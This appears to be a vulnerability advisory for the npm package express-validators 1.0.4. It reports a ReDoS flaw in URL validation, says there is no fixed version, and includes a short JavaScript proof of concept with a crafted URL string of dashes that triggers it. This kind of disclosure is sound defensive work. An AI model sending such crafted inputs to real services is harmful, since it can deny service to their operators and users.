express-validators@1.0.4 vulnerabilities

Express framework json object(req) validator.

Direct Vulnerabilities

Known vulnerabilities in the express-validators package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
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Regular Expression Denial of Service (ReDoS)

express-validators is an Express framework json object(req) validator.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when validating specifically-crafted invalid urls.

POC:

var expressValidators = require("express-validators");
var Obj = {
    urlValue: "http://--:$$@------------------------------------------------------------------------------------------------------------------------!",
};

var rules = {
    "urlValue": "url",
};

var messages = {
    urlValue:{
        url: "Please enter a valid url address."
    }
};

expressValidators.validator(Obj, rules, messages, function (err, validated) {
    if (validated.fails) {
        console.log(validated.getErrors)
    }
})

How to fix Regular Expression Denial of Service (ReDoS)?

There is no fixed version for express-validators.

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